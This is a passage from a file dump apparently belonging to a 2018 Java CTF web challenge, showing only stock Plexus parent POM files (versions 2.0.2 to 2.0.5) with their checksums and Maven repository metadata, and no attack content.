</roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.2</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.2</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.2</url>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>true</useReleaseProfile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom.sha1",
    "content": "b6c97d19090baa51e953fb782e3986b068fb450f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:04 CST 2018\nplexus-2.0.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/plexus-2.0.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>2.0.3</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.3</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.3</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.3</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>http://oss.repository.sonatype.org/content/repositories/plexus-releases</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>http://oss.repository.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-9</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>true</useReleaseProfile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/plexus-2.0.3.pom.sha1",
    "content": "bf472ec56fe823f1b4b997fe5b9396490ae9b1dc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:55 CST 2018\nplexus-2.0.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>2.0.5</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.5</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.5</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.5</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>http://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>http://oss.repository.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          